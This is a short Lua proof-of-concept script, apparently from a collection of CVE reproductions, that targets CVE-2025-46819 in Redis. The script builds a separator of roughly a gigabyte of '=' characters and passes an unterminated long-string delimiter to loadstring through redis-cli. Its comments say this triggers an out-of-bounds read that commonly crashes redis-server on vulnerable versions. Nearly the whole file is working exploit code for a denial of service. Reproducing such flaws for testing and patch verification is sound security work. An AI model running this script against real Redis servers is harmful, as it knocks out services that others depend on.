2025/CVE-2025-46819/CVE-2025-46819.lua
-- CVE-2025-46819 repro: craft malformed long-string delimiters to drive
-- luaX_setinput/skip_sep out of bounds.
-- Usage: redis-cli -h localhost -p 6379 --eval CVE-2025-46819.lua

-- Build a massive separator (~1 MB of '=' chars repeated 1024 times) to
-- exercise the lexer limits. Adjust the count downward if your lab hardware is
-- memory constrained; any large value will do on vulnerable builds.
local slice = string.rep('=', 1024 * 1024)
local parts = {}
for i = 1, 1024 do
	parts[i] = slice
end
local sep = table.concat(parts)

-- Missing the closing bracket intentionally; skip_sep in Redis <= 8.2.1
-- returns a negative sentinel, read_long_string miscomputes offsets, and Lua
-- will read before the buffer boundary, commonly crashing redis-server.
local malformed = '[' .. sep

local ok, fn_or_err = pcall(loadstring, malformed)

-- On vulnerable versions this usually aborts the server before control
-- returns. If it survives, report both the success flag and message so patched
-- builds can be distinguished cleanly.
return { tostring(ok), tostring(fn_or_err) }
